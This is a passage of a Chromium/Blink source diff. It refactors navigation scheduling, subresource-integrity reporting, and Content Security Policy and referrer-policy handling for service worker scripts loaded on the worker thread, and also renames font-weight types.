+                                  AtomicString(request.FrameName()), *frame_,
+                                  request.GetResourceRequest().Url());
 
   NavigationPolicy policy = NavigationPolicyForRequest(request);
   if (target_frame && target_frame != frame_ &&
diff --git a/third_party/WebKit/Source/core/loader/NavigationScheduler.cpp b/third_party/WebKit/Source/core/loader/NavigationScheduler.cpp
index 1916692..5addd72a 100644
--- a/third_party/WebKit/Source/core/loader/NavigationScheduler.cpp
+++ b/third_party/WebKit/Source/core/loader/NavigationScheduler.cpp
@@ -148,7 +148,7 @@
     frame->Loader().Load(request);
   }
 
-  KURL Url() const { return url_; }
+  KURL Url() const override { return url_; }
 
  private:
   KURL url_;
@@ -239,7 +239,9 @@
 
 class ScheduledReload final : public ScheduledNavigation {
  public:
-  static ScheduledReload* Create() { return new ScheduledReload; }
+  static ScheduledReload* Create(LocalFrame* frame) {
+    return new ScheduledReload(frame);
+  }
 
   void Fire(LocalFrame* frame) override {
     std::unique_ptr<UserGestureIndicator> gesture_indicator =
@@ -255,9 +257,19 @@
     frame->Loader().Load(request, kFrameLoadTypeReload);
   }
 
+  KURL Url() const override { return frame_->GetDocument()->Url(); }
+
+  DEFINE_INLINE_VIRTUAL_TRACE() {
+    visitor->Trace(frame_);
+    ScheduledNavigation::Trace(visitor);
+  }
+
  private:
-  ScheduledReload()
-      : ScheduledNavigation(Reason::kReload, 0.0, nullptr, true, true) {}
+  explicit ScheduledReload(LocalFrame* frame)
+      : ScheduledNavigation(Reason::kReload, 0.0, nullptr, true, true),
+        frame_(frame) {}
+
+  Member<LocalFrame> frame_;
 };
 
 class ScheduledPageBlock final : public ScheduledNavigation {
@@ -270,6 +282,8 @@
     frame->Client()->LoadErrorPage(reason_);
   }
 
+  KURL Url() const override { return KURL(); }
+
  private:
   ScheduledPageBlock(Document* origin_document, int reason)
       : ScheduledNavigation(Reason::kPageBlock,
@@ -302,6 +316,8 @@
     frame->Loader().Load(frame_request);
   }
 
+  KURL Url() const override { return submission_->RequestURL(); }
+
   DEFINE_INLINE_VIRTUAL_TRACE() {
     visitor->Trace(submission_);
     ScheduledNavigation::Trace(visitor);
@@ -460,7 +476,7 @@
     return;
   if (frame_->GetDocument()->Url().IsEmpty())
     return;
-  Schedule(ScheduledReload::Create());
+  Schedule(ScheduledReload::Create(frame_));
 }
 
 void NavigationScheduler::NavigateTask() {
diff --git a/third_party/WebKit/Source/core/loader/ScheduledNavigation.h b/third_party/WebKit/Source/core/loader/ScheduledNavigation.h
index 6f09d58..19a43e6 100644
--- a/third_party/WebKit/Source/core/loader/ScheduledNavigation.h
+++ b/third_party/WebKit/Source/core/loader/ScheduledNavigation.h
@@ -38,6 +38,8 @@
 
   virtual void Fire(LocalFrame*) = 0;
 
+  virtual KURL Url() const = 0;
+
   virtual bool ShouldStartTimer(LocalFrame*) { return true; }
 
   Reason GetReason() const { return reason_; }
diff --git a/third_party/WebKit/Source/core/loader/SubresourceIntegrityHelper.cpp b/third_party/WebKit/Source/core/loader/SubresourceIntegrityHelper.cpp
new file mode 100644
index 0000000..a5781d7
--- /dev/null
+++ b/third_party/WebKit/Source/core/loader/SubresourceIntegrityHelper.cpp
@@ -0,0 +1,46 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "core/loader/SubresourceIntegrityHelper.h"
+
+#include "core/dom/ExecutionContext.h"
+#include "core/frame/UseCounter.h"
+#include "core/inspector/ConsoleMessage.h"
+#include "core/inspector/ConsoleTypes.h"
+
+namespace blink {
+
+WebFeature GetWebFeature(
+    SubresourceIntegrity::ReportInfo::UseCounterFeature& feature) {
+  switch (feature) {
+    case SubresourceIntegrity::ReportInfo::UseCounterFeature::
+        kSRIElementWithMatchingIntegrityAttribute:
+      return WebFeature::kSRIElementWithMatchingIntegrityAttribute;
+    case SubresourceIntegrity::ReportInfo::UseCounterFeature::
+        kSRIElementWithNonMatchingIntegrityAttribute:
+      return WebFeature::kSRIElementWithNonMatchingIntegrityAttribute;
+    case SubresourceIntegrity::ReportInfo::UseCounterFeature::
+        kSRIElementIntegrityAttributeButIneligible:
+      return WebFeature::kSRIElementIntegrityAttributeButIneligible;
+    case SubresourceIntegrity::ReportInfo::UseCounterFeature::
+        kSRIElementWithUnparsableIntegrityAttribute:
+      return WebFeature::kSRIElementWithUnparsableIntegrityAttribute;
+  }
+  NOTREACHED();
+  return WebFeature::kSRIElementWithUnparsableIntegrityAttribute;
+}
+
+void SubresourceIntegrityHelper::DoReport(
+    ExecutionContext& execution_context,
+    const SubresourceIntegrity::ReportInfo& report_info) {
+  for (auto feature : report_info.UseCounts()) {
+    UseCounter::Count(&execution_context, GetWebFeature(feature));
+  }
+  for (const auto& message : report_info.ConsoleErrorMessages()) {
+    execution_context.AddConsoleMessage(ConsoleMessage::Create(
+        kSecurityMessageSource, kErrorMessageLevel, message));
+  }
+}
+
+}  // namespace blink
diff --git a/third_party/WebKit/Source/core/loader/SubresourceIntegrityHelper.h b/third_party/WebKit/Source/core/loader/SubresourceIntegrityHelper.h
new file mode 100644
index 0000000..566843f
--- /dev/null
+++ b/third_party/WebKit/Source/core/loader/SubresourceIntegrityHelper.h
@@ -0,0 +1,26 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef SubresourceIntegrityHelper_h
+#define SubresourceIntegrityHelper_h
+
+#include "core/CoreExport.h"
+#include "platform/loader/SubresourceIntegrity.h"
+#include "platform/wtf/Allocator.h"
+
+namespace blink {
+
+class ExecutionContext;
+
+class CORE_EXPORT SubresourceIntegrityHelper final {
+  STATIC_ONLY(SubresourceIntegrityHelper);
+
+ public:
+  static void DoReport(ExecutionContext&,
+                       const SubresourceIntegrity::ReportInfo&);
+};
+
+}  // namespace blink
+
+#endif
diff --git a/third_party/WebKit/Source/core/loader/ThreadableLoaderTest.cpp b/third_party/WebKit/Source/core/loader/ThreadableLoaderTest.cpp
index b93a5b3f..80f4405 100644
--- a/third_party/WebKit/Source/core/loader/ThreadableLoaderTest.cpp
+++ b/third_party/WebKit/Source/core/loader/ThreadableLoaderTest.cpp
@@ -648,9 +648,10 @@
   CreateLoader();
   CallCheckpoint(1);
 
-  EXPECT_CALL(*Client(), DidFail(ResourceError(
-                             kErrorDomainBlinkInternal, 0, ErrorURL(),
-                             "Cross origin requests are not supported.")));
+  EXPECT_CALL(*Client(),
+              DidFail(ResourceError(
+                  ResourceError::Domain::kBlinkInternal, 0, ErrorURL(),
+                  "Cross origin requests are not supported.")));
   EXPECT_CALL(GetCheckpoint(), Call(2));
 
   StartLoader(ErrorURL(), WebURLRequest::kFetchRequestModeSameOrigin);
diff --git a/third_party/WebKit/Source/core/loader/resource/ScriptResource.cpp b/third_party/WebKit/Source/core/loader/resource/ScriptResource.cpp
index 219d517..85beaa1 100644
--- a/third_party/WebKit/Source/core/loader/resource/ScriptResource.cpp
+++ b/third_party/WebKit/Source/core/loader/resource/ScriptResource.cpp
@@ -26,10 +26,12 @@
 
 #include "core/loader/resource/ScriptResource.h"
 
-#include "core/frame/SubresourceIntegrity.h"
+#include "core/dom/Document.h"
+#include "core/loader/SubresourceIntegrityHelper.h"
 #include "platform/SharedBuffer.h"
 #include "platform/instrumentation/tracing/web_memory_allocator_dump.h"
 #include "platform/instrumentation/tracing/web_process_memory_dump.h"
+#include "platform/loader/SubresourceIntegrity.h"
 #include "platform/loader/fetch/FetchParameters.h"
 #include "platform/loader/fetch/IntegrityMetadata.h"
 #include "platform/loader/fetch/ResourceClientWalker.h"
@@ -151,8 +153,10 @@
     data_length = ResourceBuffer()->size();
   }
 
+  SubresourceIntegrity::ReportInfo report_info;
   bool passed = SubresourceIntegrity::CheckSubresourceIntegrity(
-      IntegrityMetadata(), document, data, data_length, Url(), *this);
+      IntegrityMetadata(), data, data_length, Url(), *this, report_info);
+  SubresourceIntegrityHelper::DoReport(document, report_info);
   SetIntegrityDisposition(passed ? ResourceIntegrityDisposition::kPassed
                                  : ResourceIntegrityDisposition::kFailed);
   DCHECK_NE(IntegrityDisposition(), ResourceIntegrityDisposition::kNotChecked);
diff --git a/third_party/WebKit/Source/core/page/ChromeClient.h b/third_party/WebKit/Source/core/page/ChromeClient.h
index 4c6efa0..d2be8c6 100644
--- a/third_party/WebKit/Source/core/page/ChromeClient.h
+++ b/third_party/WebKit/Source/core/page/ChromeClient.h
@@ -74,14 +74,12 @@
 class PagePopup;
 class PagePopupClient;
 class PopupOpeningObserver;
-class RemoteFrame;
 class WebDragData;
 class WebFrameScheduler;
 class WebImage;
 class WebLayer;
 class WebLayerTreeView;
 class WebLocalFrameBase;
-class WebRemoteFrameBase;
 class WebViewBase;
 
 struct CompositedSelection;
@@ -356,10 +354,6 @@
     return nullptr;
   }
 
-  virtual WebRemoteFrameBase* GetWebRemoteFrameBase(RemoteFrame&) {
-    return nullptr;
-  }
-
   virtual void RequestDecode(
       LocalFrame*,
       const PaintImage& image,
diff --git a/third_party/WebKit/Source/core/page/ChromeClientImpl.cpp b/third_party/WebKit/Source/core/page/ChromeClientImpl.cpp
index 035256cfa..33e986c 100644
--- a/third_party/WebKit/Source/core/page/ChromeClientImpl.cpp
+++ b/third_party/WebKit/Source/core/page/ChromeClientImpl.cpp
@@ -835,11 +835,6 @@
   return WebLocalFrameImpl::FromFrame(frame);
 }
 
-WebRemoteFrameBase* ChromeClientImpl::GetWebRemoteFrameBase(
-    RemoteFrame& frame) {
-  return WebRemoteFrameImpl::FromFrame(frame);
-}
-
 void ChromeClientImpl::RequestDecode(
     LocalFrame* frame,
     const PaintImage& image,
diff --git a/third_party/WebKit/Source/core/page/ChromeClientImpl.h b/third_party/WebKit/Source/core/page/ChromeClientImpl.h
index 51490a2..388b166 100644
--- a/third_party/WebKit/Source/core/page/ChromeClientImpl.h
+++ b/third_party/WebKit/Source/core/page/ChromeClientImpl.h
@@ -232,8 +232,6 @@
 
   WebLocalFrameBase* GetWebLocalFrameBase(LocalFrame*) override;
 
-  WebRemoteFrameBase* GetWebRemoteFrameBase(RemoteFrame&) override;
-
   void RequestDecode(
       LocalFrame*,
       const PaintImage&,
diff --git a/third_party/WebKit/Source/core/page/CreateWindow.cpp b/third_party/WebKit/Source/core/page/CreateWindow.cpp
index 931d01c..d5a9424 100644
--- a/third_party/WebKit/Source/core/page/CreateWindow.cpp
+++ b/third_party/WebKit/Source/core/page/CreateWindow.cpp
@@ -256,11 +256,12 @@
 static Frame* ReuseExistingWindow(LocalFrame& active_frame,
                                   LocalFrame& lookup_frame,
                                   const AtomicString& frame_name,
-                                  NavigationPolicy policy) {
+                                  NavigationPolicy policy,
+                                  const KURL& destination_url) {
   if (!frame_name.IsEmpty() && !EqualIgnoringASCIICase(frame_name, "_blank") &&
       policy == kNavigationPolicyIgnore) {
-    if (Frame* frame =
-            lookup_frame.FindFrameForNavigation(frame_name, active_frame)) {
+    if (Frame* frame = lookup_frame.FindFrameForNavigation(
+            frame_name, active_frame, destination_url)) {
       if (!EqualIgnoringASCIICase(frame_name, "_self")) {
         if (Page* page = frame->GetPage()) {
           if (page == active_frame.GetPage())
@@ -349,10 +350,11 @@
 
   created = false;
 
-  Frame* window = features.noopener
-                      ? nullptr
-                      : ReuseExistingWindow(active_frame, lookup_frame,
-                                            request.FrameName(), policy);
+  Frame* window =
+      features.noopener
+          ? nullptr
+          : ReuseExistingWindow(active_frame, lookup_frame, request.FrameName(),
+                                policy, request.GetResourceRequest().Url());
 
   if (!window) {
     // Sandboxed frames cannot open new auxiliary browsing contexts.
diff --git a/third_party/WebKit/Source/core/paint/EmbeddedObjectPainter.cpp b/third_party/WebKit/Source/core/paint/EmbeddedObjectPainter.cpp
index 2d2e3ca8..8da34e8 100644
--- a/third_party/WebKit/Source/core/paint/EmbeddedObjectPainter.cpp
+++ b/third_party/WebKit/Source/core/paint/EmbeddedObjectPainter.cpp
@@ -27,7 +27,7 @@
   FontDescription font_description;
   LayoutTheme::GetTheme().SystemFont(CSSValueWebkitSmallControl,
                                      font_description);
-  font_description.SetWeight(BoldWeightValue());
+  font_description.SetWeight(kFontWeightBold);
   font_description.SetComputedSize(font_description.SpecifiedSize());
   Font font(font_description);
   font.Update(nullptr);
diff --git a/third_party/WebKit/Source/core/style/ComputedStyle.cpp b/third_party/WebKit/Source/core/style/ComputedStyle.cpp
index ad569a7..4c8ba37f 100644
--- a/third_party/WebKit/Source/core/style/ComputedStyle.cpp
+++ b/third_party/WebKit/Source/core/style/ComputedStyle.cpp
@@ -1351,10 +1351,10 @@
 bool ComputedStyle::HasFontSizeAdjust() const {
   return GetFontDescription().HasSizeAdjust();
 }
-FontSelectionValue ComputedStyle::GetFontWeight() const {
+FontWeight ComputedStyle::GetFontWeight() const {
   return GetFontDescription().Weight();
 }
-FontSelectionValue ComputedStyle::GetFontStretch() const {
+FontStretch ComputedStyle::GetFontStretch() const {
   return GetFontDescription().Stretch();
 }
 
@@ -1547,7 +1547,6 @@
 const Length& ComputedStyle::SpecifiedLineHeight() const {
   return LineHeightInternal();
 }
-
 Length ComputedStyle::LineHeight() const {
   const Length& lh = LineHeightInternal();
   // Unlike getFontDescription().computedSize() and hence fontSize(), this is
diff --git a/third_party/WebKit/Source/core/style/ComputedStyle.h b/third_party/WebKit/Source/core/style/ComputedStyle.h
index 45e16ee..af5282fd 100644
--- a/third_party/WebKit/Source/core/style/ComputedStyle.h
+++ b/third_party/WebKit/Source/core/style/ComputedStyle.h
@@ -975,10 +975,10 @@
   bool HasFontSizeAdjust() const;
 
   // font-weight
-  CORE_EXPORT FontSelectionValue GetFontWeight() const;
+  CORE_EXPORT FontWeight GetFontWeight() const;
 
   // font-stretch
-  FontSelectionValue GetFontStretch() const;
+  FontStretch GetFontStretch() const;
 
   // -webkit-locale
   const AtomicString& Locale() const {
diff --git a/third_party/WebKit/Source/core/workers/BUILD.gn b/third_party/WebKit/Source/core/workers/BUILD.gn
index 5648600..418b1fd 100644
--- a/third_party/WebKit/Source/core/workers/BUILD.gn
+++ b/third_party/WebKit/Source/core/workers/BUILD.gn
@@ -22,6 +22,7 @@
     "InProcessWorkerMessagingProxy.h",
     "InProcessWorkerObjectProxy.cpp",
     "InProcessWorkerObjectProxy.h",
+    "InstalledScriptsManager.cpp",
     "InstalledScriptsManager.h",
     "MainThreadWorkletGlobalScope.cpp",
     "MainThreadWorkletGlobalScope.h",
diff --git a/third_party/WebKit/Source/core/workers/DedicatedWorkerGlobalScope.cpp b/third_party/WebKit/Source/core/workers/DedicatedWorkerGlobalScope.cpp
index d0b5546..402e1583 100644
--- a/third_party/WebKit/Source/core/workers/DedicatedWorkerGlobalScope.cpp
+++ b/third_party/WebKit/Source/core/workers/DedicatedWorkerGlobalScope.cpp
@@ -53,7 +53,7 @@
       time_origin, std::move(creation_params->starter_origin_privilege_data),
       creation_params->worker_clients);
   context->ApplyContentSecurityPolicyFromVector(
-      *creation_params->content_security_policy_headers);
+      *creation_params->content_security_policy_parsed_headers);
   context->SetWorkerSettings(std::move(creation_params->worker_settings));
   if (!creation_params->referrer_policy.IsNull())
     context->ParseAndSetReferrerPolicy(creation_params->referrer_policy);
diff --git a/third_party/WebKit/Source/core/workers/GlobalScopeCreationParams.cpp b/third_party/WebKit/Source/core/workers/GlobalScopeCreationParams.cpp
index fb0ecd27..733572b5 100644
--- a/third_party/WebKit/Source/core/workers/GlobalScopeCreationParams.cpp
+++ b/third_party/WebKit/Source/core/workers/GlobalScopeCreationParams.cpp
@@ -16,7 +16,7 @@
     const String& source_code,
     std::unique_ptr<Vector<char>> cached_meta_data,
     WorkerThreadStartMode start_mode,
-    const Vector<CSPHeaderAndType>* content_security_policy_headers,
+    const Vector<CSPHeaderAndType>* content_security_policy_parsed_headers,
     const String& referrer_policy,
     const SecurityOrigin* starter_origin,
     WorkerClients* worker_clients,
@@ -36,13 +36,13 @@
       address_space(address_space),
       worker_settings(std::move(worker_settings)),
       v8_cache_options(v8_cache_options) {
-  this->content_security_policy_headers =
+  this->content_security_policy_parsed_headers =
       WTF::MakeUnique<Vector<CSPHeaderAndType>>();
-  if (content_security_policy_headers) {
-    for (const auto& header : *content_security_policy_headers) {
+  if (content_security_policy_parsed_headers) {
+    for (const auto& header : *content_security_policy_parsed_headers) {
       CSPHeaderAndType copied_header(header.first.IsolatedCopy(),
                                      header.second);
-      this->content_security_policy_headers->push_back(copied_header);
+      this->content_security_policy_parsed_headers->push_back(copied_header);
     }
   }
 
diff --git a/third_party/WebKit/Source/core/workers/GlobalScopeCreationParams.h b/third_party/WebKit/Source/core/workers/GlobalScopeCreationParams.h
index 65b3101..8e61012 100644
--- a/third_party/WebKit/Source/core/workers/GlobalScopeCreationParams.h
+++ b/third_party/WebKit/Source/core/workers/GlobalScopeCreationParams.h
@@ -13,9 +13,11 @@
 #include "core/workers/WorkerSettings.h"
 #include "core/workers/WorkerThread.h"
 #include "platform/network/ContentSecurityPolicyParsers.h"
+#include "platform/network/ContentSecurityPolicyResponseHeaders.h"
 #include "platform/weborigin/KURL.h"
 #include "platform/wtf/Forward.h"
 #include "platform/wtf/Noncopyable.h"
+#include "platform/wtf/Optional.h"
 #include "platform/wtf/PtrUtil.h"
 #include "public/platform/WebAddressSpace.h"
 
@@ -36,7 +38,7 @@
       const String& source_code,
       std::unique_ptr<Vector<char>> cached_meta_data,
       WorkerThreadStartMode,
-      const Vector<CSPHeaderAndType>* content_security_policy_headers,
+      const Vector<CSPHeaderAndType>* content_security_policy_parsed_headers,
       const String& referrer_policy,
       const SecurityOrigin*,
       WorkerClients*,
@@ -52,7 +54,14 @@
   String source_code;
   std::unique_ptr<Vector<char>> cached_meta_data;
   WorkerThreadStartMode start_mode;
-  std::unique_ptr<Vector<CSPHeaderAndType>> content_security_policy_headers;
+  // |content_security_policy_parsed_headers| and
+  // |content_security_policy_raw_headers| are mutually exclusive.
+  // |content_security_policy_parsed_headers| is an empty vector
+  // when |content_security_policy_raw_headers| is set.
+  std::unique_ptr<Vector<CSPHeaderAndType>>
+      content_security_policy_parsed_headers;
+  WTF::Optional<ContentSecurityPolicyResponseHeaders>
+      content_security_policy_raw_headers;
   String referrer_policy;
   std::unique_ptr<Vector<String>> origin_trial_tokens;
 
diff --git a/third_party/WebKit/Source/core/workers/InstalledScriptsManager.cpp b/third_party/WebKit/Source/core/workers/InstalledScriptsManager.cpp
new file mode 100644
index 0000000..539df06
--- /dev/null
+++ b/third_party/WebKit/Source/core/workers/InstalledScriptsManager.cpp
@@ -0,0 +1,39 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "core/workers/InstalledScriptsManager.h"
+
+#include "core/frame/csp/ContentSecurityPolicy.h"
+#include "core/origin_trials/OriginTrialContext.h"
+#include "platform/HTTPNames.h"
+
+namespace blink {
+
+InstalledScriptsManager::ScriptData::ScriptData(
+    const KURL& script_url,
+    String source_text,
+    std::unique_ptr<Vector<char>> meta_data,
+    std::unique_ptr<CrossThreadHTTPHeaderMapData> header_data)
+    : script_url_(script_url),
+      source_text_(std::move(source_text)),
+      meta_data_(std::move(meta_data)) {
+  headers_.Adopt(std::move(header_data));
+}
+
+ContentSecurityPolicyResponseHeaders
+InstalledScriptsManager::ScriptData::GetContentSecurityPolicyResponseHeaders() {
+  return ContentSecurityPolicyResponseHeaders(headers_);
+}
+
+String InstalledScriptsManager::ScriptData::GetReferrerPolicy() {
+  return headers_.Get(HTTPNames::Referrer_Policy);
+}
+
+std::unique_ptr<Vector<String>>
+InstalledScriptsManager::ScriptData::CreateOriginTrialTokens() {
+  return OriginTrialContext::ParseHeaderValue(
+      headers_.Get(HTTPNames::Origin_Trial));
+}
+
+}  // namespace blink
diff --git a/third_party/WebKit/Source/core/workers/InstalledScriptsManager.h b/third_party/WebKit/Source/core/workers/InstalledScriptsManager.h
index 7bc0eca1..f0f85db 100644
--- a/third_party/WebKit/Source/core/workers/InstalledScriptsManager.h
+++ b/third_party/WebKit/Source/core/workers/InstalledScriptsManager.h
@@ -5,6 +5,8 @@
 #ifndef InstalledScriptsManager_h
 #define InstalledScriptsManager_h
 
+#include "core/CoreExport.h"
+#include "platform/network/ContentSecurityPolicyResponseHeaders.h"
 #include "platform/network/HTTPHeaderMap.h"
 #include "platform/weborigin/KURL.h"
 #include "platform/wtf/Optional.h"
@@ -18,10 +20,28 @@
  public:
   InstalledScriptsManager() = default;
 
-  struct ScriptData {
-    HTTPHeaderMap headers;
-    String source_text;
-    std::unique_ptr<Vector<char>> meta_data;
+  class CORE_EXPORT ScriptData {
+   public:
+    ScriptData(const KURL& script_url,
+               String source_text,
+               std::unique_ptr<Vector<char>> meta_data,
+               std::unique_ptr<CrossThreadHTTPHeaderMapData>);
+
+    String TakeSourceText() { return std::move(source_text_); }
+    std::unique_ptr<Vector<char>> TakeMetaData() {
+      return std::move(meta_data_);
+    }
+
+    ContentSecurityPolicyResponseHeaders
+    GetContentSecurityPolicyResponseHeaders();
+    String GetReferrerPolicy();
+    std::unique_ptr<Vector<String>> CreateOriginTrialTokens();
+
+   private:
+    const KURL script_url_;
+    String source_text_;
+    std::unique_ptr<Vector<char>> meta_data_;
+    HTTPHeaderMap headers_;
   };
 
   // Used on the main or worker thread. Returns true if the script has been
diff --git a/third_party/WebKit/Source/core/workers/SharedWorkerGlobalScope.cpp b/third_party/WebKit/Source/core/workers/SharedWorkerGlobalScope.cpp
index 3dffb4d..8a9cd8d 100644
--- a/third_party/WebKit/Source/core/workers/SharedWorkerGlobalScope.cpp
+++ b/third_party/WebKit/Source/core/workers/SharedWorkerGlobalScope.cpp
@@ -61,7 +61,7 @@
       std::move(creation_params->starter_origin_privilege_data),
       creation_params->worker_clients, time_origin);
   context->ApplyContentSecurityPolicyFromVector(
-      *creation_params->content_security_policy_headers);
+      *creation_params->content_security_policy_parsed_headers);
   context->SetWorkerSettings(std::move(creation_params->worker_settings));
   if (!creation_params->referrer_policy.IsNull())
     context->ParseAndSetReferrerPolicy(creation_params->referrer_policy);
diff --git a/third_party/WebKit/Source/core/workers/WorkerGlobalScope.cpp b/third_party/WebKit/Source/core/workers/WorkerGlobalScope.cpp
index 5a6411d7e..562986b6 100644
--- a/third_party/WebKit/Source/core/workers/WorkerGlobalScope.cpp
+++ b/third_party/WebKit/Source/core/workers/WorkerGlobalScope.cpp
@@ -319,6 +319,16 @@
         std::move(starter_origin_privilage_data));
 }
 
+void WorkerGlobalScope::ApplyContentSecurityPolicyFromHeaders(
+    const ContentSecurityPolicyResponseHeaders& headers) {
+  if (!GetContentSecurityPolicy()) {
+    ContentSecurityPolicy* csp = ContentSecurityPolicy::Create();
+    SetContentSecurityPolicy(csp);
+  }
+  GetContentSecurityPolicy()->DidReceiveHeaders(headers);
+  GetContentSecurityPolicy()->BindToExecutionContext(GetExecutionContext());
+}
+
 void WorkerGlobalScope::ApplyContentSecurityPolicyFromVector(
     const Vector<CSPHeaderAndType>& headers) {
   if (!GetContentSecurityPolicy()) {
diff --git a/third_party/WebKit/Source/core/workers/WorkerGlobalScope.h b/third_party/WebKit/Source/core/workers/WorkerGlobalScope.h
index aef4917..73da94c 100644
--- a/third_party/WebKit/Source/core/workers/WorkerGlobalScope.h
+++ b/third_party/WebKit/Source/core/workers/WorkerGlobalScope.h
@@ -153,6 +153,8 @@
                     std::unique_ptr<SecurityOrigin::PrivilegeData>,
                     WorkerClients*);
   void SetWorkerSettings(std::unique_ptr<WorkerSettings>);
+  void ApplyContentSecurityPolicyFromHeaders(
+      const ContentSecurityPolicyResponseHeaders&);
   void ApplyContentSecurityPolicyFromVector(
       const Vector<CSPHeaderAndType>& headers);
 
diff --git a/third_party/WebKit/Source/core/workers/WorkerReportingProxy.h b/third_party/WebKit/Source/core/workers/WorkerReportingProxy.h
index d9b38ba5..f3e40f46 100644
--- a/third_party/WebKit/Source/core/workers/WorkerReportingProxy.h
+++ b/third_party/WebKit/Source/core/workers/WorkerReportingProxy.h
@@ -36,6 +36,7 @@
 #include "core/frame/UseCounter.h"
 #include "core/inspector/ConsoleTypes.h"
 #include "platform/heap/Handle.h"
+#include "platform/network/ContentSecurityPolicyResponseHeaders.h"
 #include "platform/wtf/Forward.h"
 
 namespace blink {
@@ -68,10 +69,17 @@
   virtual void DidInitializeWorkerContext() {}
 
   // Invoked when the worker's main script is loaded on
-  // WorkerThread::InitializeOnWorkerThread. Only invoked when the script was
+  // WorkerThread::InitializeOnWorkerThread(). Only invoked when the script was
   // loaded on the worker thread, i.e., via InstalledScriptsManager rather than
-  // via ResourceLoader.
-  virtual void DidLoadInstalledScript() {}
+  // via ResourceLoader. ContentSecurityPolicy and ReferrerPolicy are read from
+  // the response header of the main script.
+  // This may block until CSP/ReferrerPolicy are set on the main thread
+  // since they are required for script evaluation, which happens soon after
+  // this function is called.
+  // Called before WillEvaluateWorkerScript().
+  virtual void DidLoadInstalledScript(
+      const ContentSecurityPolicyResponseHeaders&,
+      const String& referrer_policy_on_worker_thread) {}
 
   // Invoked when the worker script is about to be evaluated on
   // WorkerThread::InitializeOnWorkerThread.
diff --git a/third_party/WebKit/Source/core/workers/WorkerThread.cpp b/third_party/WebKit/Source/core/workers/WorkerThread.cpp
index 9fb1a4e..028f6f2 100644
--- a/third_party/WebKit/Source/core/workers/WorkerThread.cpp
+++ b/third_party/WebKit/Source/core/workers/WorkerThread.cpp
@@ -404,15 +404,43 @@
   DCHECK_EQ(ThreadState::kNotStarted, thread_state_);
 
   KURL script_url = global_scope_creation_params->script_url;
-  String given_source_code = global_scope_creation_params->source_code;
-  std::unique_ptr<Vector<char>> given_cached_meta_data =
-      std::move(global_scope_creation_params->cached_meta_data);
   // TODO(nhiroki): Rename WorkerThreadStartMode to GlobalScopeStartMode.
   // (https://crbug.com/710364)
   WorkerThreadStartMode start_mode = global_scope_creation_params->start_mode;
   V8CacheOptions v8_cache_options =
       global_scope_creation_params->v8_cache_options;
 
+  String source_code;
+  std::unique_ptr<Vector<char>> cached_meta_data;
+  if (RuntimeEnabledFeatures::ServiceWorkerScriptStreamingEnabled() &&
+      GetInstalledScriptsManager() &&
+      GetInstalledScriptsManager()->IsScriptInstalled(script_url)) {
+    // GetScriptData blocks until the script is received from the browser.
+    auto script_data = GetInstalledScriptsManager()->GetScriptData(script_url);
+    DCHECK(script_data);
+    DCHECK(source_code.IsEmpty());
+    DCHECK(!cached_meta_data);
+    source_code = script_data->TakeSourceText();
+    cached_meta_data = script_data->TakeMetaData();
+
+    String referrer_policy = script_data->GetReferrerPolicy();
+    ContentSecurityPolicyResponseHeaders
+        content_security_policy_response_headers =
+            script_data->GetContentSecurityPolicyResponseHeaders();
+    worker_reporting_proxy_.DidLoadInstalledScript(
+        content_security_policy_response_headers, referrer_policy);
+
+    global_scope_creation_params->content_security_policy_raw_headers =
+        std::move(content_security_policy_response_headers);
+    global_scope_creation_params->referrer_policy = referrer_policy;
+    global_scope_creation_params->origin_trial_tokens =
+        script_data->CreateOriginTrialTokens();
+  } else {
+    source_code = std::move(global_scope_creation_params->source_code);
+    cached_meta_data =
+        std::move(global_scope_creation_params->cached_meta_data);
+  }
+
   {
     MutexLocker lock(thread_state_mutex_);
 
@@ -456,29 +484,6 @@
 
   if (!GlobalScope()->IsWorkerGlobalScope())
     return;
-
-  String source_code;
-  std::unique_ptr<Vector<char>> cached_meta_data;
-  if (RuntimeEnabledFeatures::ServiceWorkerScriptStreamingEnabled() &&
-      GetInstalledScriptsManager() &&
-      GetInstalledScriptsManager()->IsScriptInstalled(script_url)) {
-    // TODO(shimazu): Set ContentSecurityPolicy, ReferrerPolicy and
-    // OriginTrialTokens to |global_scope_creation_params|.
-    // TODO(shimazu): Add a post task to the main thread for setting
-    // ContentSecurityPolicy and ReferrerPolicy.
-
-    // GetScriptData blocks until the script is received from the browser.
-    auto script_data = GetInstalledScriptsManager()->GetScriptData(script_url);
-    DCHECK(script_data);
-    DCHECK(source_code.IsEmpty());
-    DCHECK(!cached_meta_data);
-    source_code = std::move(script_data->source_text);
-    cached_meta_data = std::move(script_data->meta_data);
-    worker_reporting_proxy_.DidLoadInstalledScript();
-  } else {
-    source_code = std::move(given_source_code);
-    cached_meta_data = std::move(given_cached_meta_data);
-  }
   DCHECK(!source_code.IsNull());
 
   WorkerGlobalScope* worker_global_scope = ToWorkerGlobalScope(GlobalScope());
diff --git a/third_party/WebKit/Source/core/xmlhttprequest/XMLHttpRequest.cpp b/third_party/WebKit/Source/core/xmlhttprequest/XMLHttpRequest.cpp
index 335ae68..a7664e9 100644
--- a/third_party/WebKit/Source/core/xmlhttprequest/XMLHttpRequest.cpp
+++ b/third_party/WebKit/Source/core/xmlhttprequest/XMLHttpRequest.cpp
@@ -1570,7 +1570,7 @@
   }
 
   // Network failures are already reported to Web Inspector by ResourceLoader.
-  if (error.Domain() == kErrorDomainBlinkInternal)
+  if (error.GetDomain() == ResourceError::Domain::kBlinkInternal)
     LogConsoleError(GetExecutionContext(), "XMLHttpRequest cannot load " +
                                                error.FailingURL() + ". " +
                                                error.LocalizedDescription());
diff --git a/third_party/WebKit/Source/devtools/front_end/Images/smallIcons.png b/third_party/WebKit/Source/devtools/front_end/Images/smallIcons.png
index be3d406..04e7680 100644
--- a/third_party/WebKit/Source/devtools/front_end/Images/smallIcons.png
+++ b/third_party/WebKit/Source/devtools/front_end/Images/smallIcons.png
Binary files differ
diff --git a/third_party/WebKit/Source/devtools/front_end/Images/smallIcons_2x.png b/third_party/WebKit/Source/devtools/front_end/Images/smallIcons_2x.png
index 97ac39aa..731ba43d 100644
--- a/third_party/WebKit/Source/devtools/front_end/Images/smallIcons_2x.png
+++ b/third_party/WebKit/Source/devtools/front_end/Images/smallIcons_2x.png
